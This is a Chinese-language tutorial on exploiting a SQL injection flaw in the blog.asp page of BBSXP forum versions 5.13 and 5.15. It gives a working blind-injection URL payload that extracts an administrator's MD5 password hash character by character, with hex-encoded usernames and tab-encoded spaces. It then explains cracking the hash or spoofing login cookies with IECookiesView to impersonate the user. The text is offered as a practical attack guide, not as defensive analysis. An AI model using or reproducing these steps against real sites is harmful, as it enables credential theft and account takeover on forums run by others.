通过阅读本文,您将了解到: <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

1 、一种手工得到两个版本的 BBSXP 论坛的用户 md5 密码的方法。

2 、如何 Cookie 欺骗。

大家都知道 BBSXP 论坛 5.13 5.15 版本的 blog.asp 文件存在注入漏洞,网上也有几种这个漏洞的利用软件,可是有不少网友反映使用这些软件有时候无法成功得到完整的 32 md5 密码,还有一些利用软件被捆绑了***,所以我在本文介绍一种手工得到注册用户 32 md5 密码的方法。

我们可以通过提交下面的代码测试用户名为 admin 32 md5 密码中的第十位是否为 3 /blog.asp?id=1%09and%09exists%09(select%09*%09from%09[user]%09where%09username=0x610064006D0069006E00%09and%09substring(userpass,10,1)=0x33) ,如果是 3 的话,该日志就会返回正常的页面,否则会提示“该用户暂时没有任何日志”。其中

select%09*%09from%09[user]%09where%09username=0x610064006D0069006E00%09and%09substring(userpass,10,1)=0x33 这是一条 select 语句 意思是得到从 user 表中选出某条记录的 username =0x610064006D0069006E00 并且该记录的 userpass 列的第 10 个字符 =0x33

select 的语法为:

SELECT FieldOFTableList

INTO VariableList

FROM TableName

WHERE Criteria

其中FieldOFTableList 代表接收数据的变量名列表 VariableList代表获得检索结果的变量,TableName 代表被检索的表名 Criteria 是检索条件

  0x610064006D0069006E00 admin 转换成十六进制得到的,这个字符串我们可以使用“ ASCII 及进制转换”这个小工具转换得到,如图 1 所示。
图1
0x33 3 转换成十六进制得到的,从 0 9 a f 的十六进制对应如下:

0 0x30 

1 0x31 

2 0x32 

3 0x33 

4 0x34 

5 0x35 

6 0x36 

7 0x37 

8 0x38  

9 0x39

a 0x61 

b 0x62 

c 0x63 

d 0x64 

e 0x65 

f 0x66

如果用户名是汉字,比如一个用户名为“测试”,那“测试”这个字符串转换成十六进制为 0x B2E200CAD400 ,因为一个汉字占用两个字节的内存。这样经过不断的测试,会最终得到一个 32 位的 md5 密码,这时我们可以 md5 密码破解类软件进行破解,或者到一些 md5 密码破解网站进行破解 ,如果密码过于复杂,破解不出明文密码,那我们就可以使用 IECookiesView 这款软件进行 cookie 欺骗了,打开 IECookiesView ,找到 BBSXP 论坛的网址,分别将 username userpass 改为要冒充的 ID 和我们得到的密码,并保存,如图 2 所示。
图2
然后重新打开一个 ie 页面,再访问该论坛,就会发现我们成为要冒充的用户了。在这里有个地方需要注意一下,我们在进行 Cookie 欺骗时,要将得到 32 位的 md5 密码中的字母设置为大写的,否则 Cookie 欺骗无法成功。

本文的测试论坛版本为 BBSXP 论坛 5.13SQL 版。